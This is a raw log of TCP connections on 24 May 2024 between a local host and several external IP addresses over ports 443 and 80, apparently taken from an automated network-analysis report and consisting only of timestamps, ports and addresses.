May 24, 2024 07:54:49.851095915 CEST	49722	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.001971960 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.019864082 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.019877911 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.019918919 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.019928932 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.019936085 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.019992113 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.020014048 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.020173073 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.020173073 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.102938890 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.103015900 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.103084087 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.103105068 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.103251934 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.103252888 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.116292000 CEST	443	49722	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.119138002 CEST	443	49722	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.119205952 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.119214058 CEST	49722	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.119223118 CEST	443	49722	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.119263887 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.119311094 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.119324923 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.119349003 CEST	49722	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.119349003 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.119421005 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.119724035 CEST	49722	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.119740009 CEST	443	49722	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.138926983 CEST	49729	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.138950109 CEST	443	49729	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.139029026 CEST	49729	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.139230967 CEST	49729	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.139240980 CEST	443	49729	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.182507038 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.182576895 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.182748079 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.182748079 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.182780027 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.182842016 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.192434072 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.192477942 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.192627907 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.192656040 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.194928885 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.201808929 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.201864958 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.201911926 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.201925039 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.201965094 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.215353966 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.215383053 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.215524912 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.215538979 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.218872070 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.268568993 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.268596888 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.268779993 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.268805981 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.268860102 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.274734974 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.274755955 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.274821997 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.274833918 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.276309967 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.280673981 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.280697107 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.280854940 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.280864954 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.282850981 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.286067963 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.286111116 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.286154985 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.286165953 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.286201954 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.286220074 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.286225080 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.291052103 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.291105986 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.291177034 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.291188002 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.295085907 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.295130968 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.295270920 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.295283079 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.338191986 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.350387096 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.350452900 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.350590944 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.350590944 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.350606918 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.350840092 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.354785919 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.354845047 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.354875088 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.354897022 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.354917049 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.357700109 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.357738018 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.357781887 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.357816935 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.357831001 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.357903004 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.357954979 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.358887911 CEST	49723	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.358908892 CEST	443	49723	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.363723040 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.363760948 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:50.363878012 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.364084005 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:50.364099026 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.073015928 CEST	443	49729	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.073401928 CEST	49729	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.073416948 CEST	443	49729	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.076342106 CEST	443	49729	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.076435089 CEST	49729	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.077989101 CEST	49729	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.078073025 CEST	443	49729	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.078195095 CEST	49729	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.078201056 CEST	443	49729	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.133260012 CEST	49729	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.258822918 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.259217024 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.259236097 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.262907028 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.262991905 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.263318062 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.263462067 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.263489962 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.309171915 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.309205055 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.343116999 CEST	443	49729	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.349318981 CEST	443	49729	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.349419117 CEST	443	49729	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.349432945 CEST	49729	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.349467993 CEST	49729	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.349925995 CEST	49729	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.349942923 CEST	443	49729	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.357105970 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.405276060 CEST	49673	443	192.168.2.16	204.79.197.203
May 24, 2024 07:54:51.547879934 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.567955971 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.567981958 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.568027973 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.568053961 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.568074942 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.568164110 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.568188906 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.568231106 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.568272114 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.568310976 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.654197931 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.654207945 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.654258013 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.654294014 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.654367924 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.654381990 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.654433966 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.654457092 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.668829918 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.668853045 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.668899059 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.668905973 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.668967962 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.736728907 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.736749887 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.736876011 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.736902952 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.738724947 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.749295950 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.749313116 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.749427080 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.749438047 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.749474049 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.759630919 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.759675980 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.759733915 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.759742975 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.759778023 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.759804010 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.768585920 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.768634081 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.768676043 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.768686056 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.768717051 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.768732071 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.825196981 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.825217009 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.825329065 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.825351954 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.825393915 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.831698895 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.831713915 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.831856012 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.831877947 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.832076073 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.839505911 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.839535952 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.839626074 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.839648008 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.839677095 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.839705944 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.845698118 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.845717907 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.845820904 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.845841885 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.845895052 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.851186991 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.851202011 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.851293087 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.851315975 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.851353884 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.856314898 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.856328964 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.856442928 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.856465101 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.856515884 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.862027884 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.862041950 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.862139940 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.862163067 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.862205029 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.914419889 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.914443016 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.914612055 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.914637089 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.914675951 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.917346954 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.917391062 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.917428017 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:51.917434931 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.917479038 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.917726994 CEST	49730	443	192.168.2.16	152.199.21.175
May 24, 2024 07:54:51.917742014 CEST	443	49730	152.199.21.175	192.168.2.16
May 24, 2024 07:54:53.381652117 CEST	49733	443	192.168.2.16	184.28.90.27
May 24, 2024 07:54:53.381680965 CEST	443	49733	184.28.90.27	192.168.2.16
May 24, 2024 07:54:53.381757975 CEST	49733	443	192.168.2.16	184.28.90.27
May 24, 2024 07:54:53.383332014 CEST	49733	443	192.168.2.16	184.28.90.27
May 24, 2024 07:54:53.383342028 CEST	443	49733	184.28.90.27	192.168.2.16
May 24, 2024 07:54:53.930639982 CEST	49734	443	192.168.2.16	52.165.165.26
May 24, 2024 07:54:53.930674076 CEST	443	49734	52.165.165.26	192.168.2.16
May 24, 2024 07:54:53.930797100 CEST	49734	443	192.168.2.16	52.165.165.26
May 24, 2024 07:54:53.931838989 CEST	49734	443	192.168.2.16	52.165.165.26
May 24, 2024 07:54:53.931854010 CEST	443	49734	52.165.165.26	192.168.2.16
May 24, 2024 07:54:54.058250904 CEST	443	49733	184.28.90.27	192.168.2.16
May 24, 2024 07:54:54.058351994 CEST	49733	443	192.168.2.16	184.28.90.27
May 24, 2024 07:54:54.062458038 CEST	49733	443	192.168.2.16	184.28.90.27
May 24, 2024 07:54:54.062469959 CEST	443	49733	184.28.90.27	192.168.2.16
May 24, 2024 07:54:54.062717915 CEST	443	49733	184.28.90.27	192.168.2.16
May 24, 2024 07:54:54.106133938 CEST	49733	443	192.168.2.16	184.28.90.27
May 24, 2024 07:54:54.117433071 CEST	49733	443	192.168.2.16	184.28.90.27
May 24, 2024 07:54:54.162520885 CEST	443	49733	184.28.90.27	192.168.2.16
May 24, 2024 07:54:54.378093958 CEST	443	49733	184.28.90.27	192.168.2.16
May 24, 2024 07:54:54.378268957 CEST	443	49733	184.28.90.27	192.168.2.16
May 24, 2024 07:54:54.378321886 CEST	49733	443	192.168.2.16	184.28.90.27
May 24, 2024 07:54:54.378532887 CEST	49733	443	192.168.2.16	184.28.90.27
May 24, 2024 07:54:54.378550053 CEST	443	49733	184.28.90.27	192.168.2.16
May 24, 2024 07:54:54.378567934 CEST	49733	443	192.168.2.16	184.28.90.27
May 24, 2024 07:54:54.378575087 CEST	443	49733	184.28.90.27	192.168.2.16
May 24, 2024 07:54:54.414766073 CEST	49735	443	192.168.2.16	184.28.90.27
May 24, 2024 07:54:54.414880037 CEST	443	49735	184.28.90.27	192.168.2.16
May 24, 2024 07:54:54.414983988 CEST	49735	443	192.168.2.16	184.28.90.27
May 24, 2024 07:54:54.415455103 CEST	49735	443	192.168.2.16	184.28.90.27
May 24, 2024 07:54:54.415489912 CEST	443	49735	184.28.90.27	192.168.2.16
May 24, 2024 07:54:54.641863108 CEST	443	49734	52.165.165.26	192.168.2.16
May 24, 2024 07:54:54.641948938 CEST	49734	443	192.168.2.16	52.165.165.26
May 24, 2024 07:54:54.644486904 CEST	49734	443	192.168.2.16	52.165.165.26
May 24, 2024 07:54:54.644516945 CEST	443	49734	52.165.165.26	192.168.2.16
May 24, 2024 07:54:54.644856930 CEST	443	49734	52.165.165.26	192.168.2.16
May 24, 2024 07:54:54.696130037 CEST	49734	443	192.168.2.16	52.165.165.26
May 24, 2024 07:54:54.715248108 CEST	49734	443	192.168.2.16	52.165.165.26
May 24, 2024 07:54:54.762536049 CEST	443	49734	52.165.165.26	192.168.2.16
May 24, 2024 07:54:54.944936991 CEST	443	49734	52.165.165.26	192.168.2.16
May 24, 2024 07:54:54.944967985 CEST	443	49734	52.165.165.26	192.168.2.16
May 24, 2024 07:54:54.944974899 CEST	443	49734	52.165.165.26	192.168.2.16
May 24, 2024 07:54:54.945034027 CEST	443	49734	52.165.165.26	192.168.2.16
May 24, 2024 07:54:54.945086956 CEST	443	49734	52.165.165.26	192.168.2.16
May 24, 2024 07:54:54.945106983 CEST	443	49734	52.165.165.26	192.168.2.16
May 24, 2024 07:54:54.945152998 CEST	49734	443	192.168.2.16	52.165.165.26
May 24, 2024 07:54:54.945182085 CEST	443	49734	52.165.165.26	192.168.2.16
May 24, 2024 07:54:54.945216894 CEST	49734	443	192.168.2.16	52.165.165.26
May 24, 2024 07:54:54.945236921 CEST	49734	443	192.168.2.16	52.165.165.26
May 24, 2024 07:54:54.959764957 CEST	443	49734	52.165.165.26	192.168.2.16
May 24, 2024 07:54:54.959847927 CEST	443	49734	52.165.165.26	192.168.2.16
May 24, 2024 07:54:54.959846973 CEST	49734	443	192.168.2.16	52.165.165.26
May 24, 2024 07:54:54.959892988 CEST	49734	443	192.168.2.16	52.165.165.26
May 24, 2024 07:54:54.960007906 CEST	49734	443	192.168.2.16	52.165.165.26
May 24, 2024 07:54:54.960026979 CEST	443	49734	52.165.165.26	192.168.2.16
May 24, 2024 07:54:54.960042000 CEST	49734	443	192.168.2.16	52.165.165.26
May 24, 2024 07:54:54.960048914 CEST	443	49734	52.165.165.26	192.168.2.16
May 24, 2024 07:54:55.047856092 CEST	49678	443	192.168.2.16	20.189.173.10
May 24, 2024 07:54:55.134007931 CEST	443	49735	184.28.90.27	192.168.2.16
May 24, 2024 07:54:55.134105921 CEST	49735	443	192.168.2.16	184.28.90.27
May 24, 2024 07:54:55.135314941 CEST	49735	443	192.168.2.16	184.28.90.27
May 24, 2024 07:54:55.135320902 CEST	443	49735	184.28.90.27	192.168.2.16
May 24, 2024 07:54:55.135658979 CEST	443	49735	184.28.90.27	192.168.2.16
May 24, 2024 07:54:55.136727095 CEST	49735	443	192.168.2.16	184.28.90.27
May 24, 2024 07:54:55.178514957 CEST	443	49735	184.28.90.27	192.168.2.16
May 24, 2024 07:54:55.349189043 CEST	49678	443	192.168.2.16	20.189.173.10
May 24, 2024 07:54:55.457283974 CEST	443	49735	184.28.90.27	192.168.2.16
May 24, 2024 07:54:55.457376957 CEST	443	49735	184.28.90.27	192.168.2.16
May 24, 2024 07:54:55.457607031 CEST	49735	443	192.168.2.16	184.28.90.27
May 24, 2024 07:54:55.458209038 CEST	49735	443	192.168.2.16	184.28.90.27
May 24, 2024 07:54:55.458223104 CEST	443	49735	184.28.90.27	192.168.2.16
May 24, 2024 07:54:55.458233118 CEST	49735	443	192.168.2.16	184.28.90.27
May 24, 2024 07:54:55.458237886 CEST	443	49735	184.28.90.27	192.168.2.16
May 24, 2024 07:54:55.952132940 CEST	49678	443	192.168.2.16	20.189.173.10
May 24, 2024 07:54:56.208169937 CEST	49673	443	192.168.2.16	204.79.197.203
May 24, 2024 07:54:57.165164948 CEST	49678	443	192.168.2.16	20.189.173.10
May 24, 2024 07:54:57.515635967 CEST	49718	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:57.520772934 CEST	80	49718	104.21.78.175	192.168.2.16
May 24, 2024 07:54:58.932470083 CEST	443	49720	142.250.181.228	192.168.2.16
May 24, 2024 07:54:58.932646990 CEST	443	49720	142.250.181.228	192.168.2.16
May 24, 2024 07:54:58.932868958 CEST	49720	443	192.168.2.16	142.250.181.228
May 24, 2024 07:54:59.518589020 CEST	49680	80	192.168.2.16	192.229.211.108
May 24, 2024 07:54:59.566142082 CEST	49678	443	192.168.2.16	20.189.173.10
May 24, 2024 07:54:59.789710999 CEST	49720	443	192.168.2.16	142.250.181.228
May 24, 2024 07:54:59.789743900 CEST	443	49720	142.250.181.228	192.168.2.16
May 24, 2024 07:54:59.822132111 CEST	49680	80	192.168.2.16	192.229.211.108
May 24, 2024 07:55:00.425179005 CEST	49680	80	192.168.2.16	192.229.211.108
May 24, 2024 07:55:01.257148981 CEST	80	49718	104.21.78.175	192.168.2.16
May 24, 2024 07:55:01.299166918 CEST	49718	80	192.168.2.16	104.21.78.175
May 24, 2024 07:55:01.633156061 CEST	49680	80	192.168.2.16	192.229.211.108
May 24, 2024 07:55:04.045187950 CEST	49680	80	192.168.2.16	192.229.211.108
May 24, 2024 07:55:04.381252050 CEST	49678	443	192.168.2.16	20.189.173.10
May 24, 2024 07:55:05.815182924 CEST	49673	443	192.168.2.16	204.79.197.203
May 24, 2024 07:55:08.084091902 CEST	80	49718	104.21.78.175	192.168.2.16
May 24, 2024 07:55:08.084283113 CEST	49718	80	192.168.2.16	104.21.78.175
May 24, 2024 07:55:08.089531898 CEST	80	49718	104.21.78.175	192.168.2.16
May 24, 2024 07:55:08.847239971 CEST	49680	80	192.168.2.16	192.229.211.108
May 24, 2024 07:55:11.954248905 CEST	49718	80	192.168.2.16	104.21.78.175
May 24, 2024 07:55:11.959418058 CEST	80	49718	104.21.78.175	192.168.2.16
May 24, 2024 07:55:13.987246037 CEST	49678	443	192.168.2.16	20.189.173.10
May 24, 2024 07:55:16.333913088 CEST	80	49718	104.21.78.175	192.168.2.16
May 24, 2024 07:55:16.378240108 CEST	49718	80	192.168.2.16	104.21.78.175
May 24, 2024 07:55:18.457621098 CEST	49680	80	192.168.2.16	192.229.211.108
May 24, 2024 07:55:28.184990883 CEST	80	49718	104.21.78.175	192.168.2.16
May 24, 2024 07:55:28.185219049 CEST	49718	80	192.168.2.16	104.21.78.175
May 24, 2024 07:55:28.190376997 CEST	80	49718	104.21.78.175	192.168.2.16
May 24, 2024 07:55:31.418420076 CEST	49736	443	192.168.2.16	52.165.165.26
May 24, 2024 07:55:31.418487072 CEST	443	49736	52.165.165.26	192.168.2.16
May 24, 2024 07:55:31.418579102 CEST	49736	443	192.168.2.16	52.165.165.26
May 24, 2024 07:55:31.418981075 CEST	49736	443	192.168.2.16	52.165.165.26
May 24, 2024 07:55:31.418999910 CEST	443	49736	52.165.165.26	192.168.2.16
May 24, 2024 07:55:31.578296900 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:55:31.583233118 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:55:31.706552982 CEST	49697	80	192.168.2.16	199.232.214.172
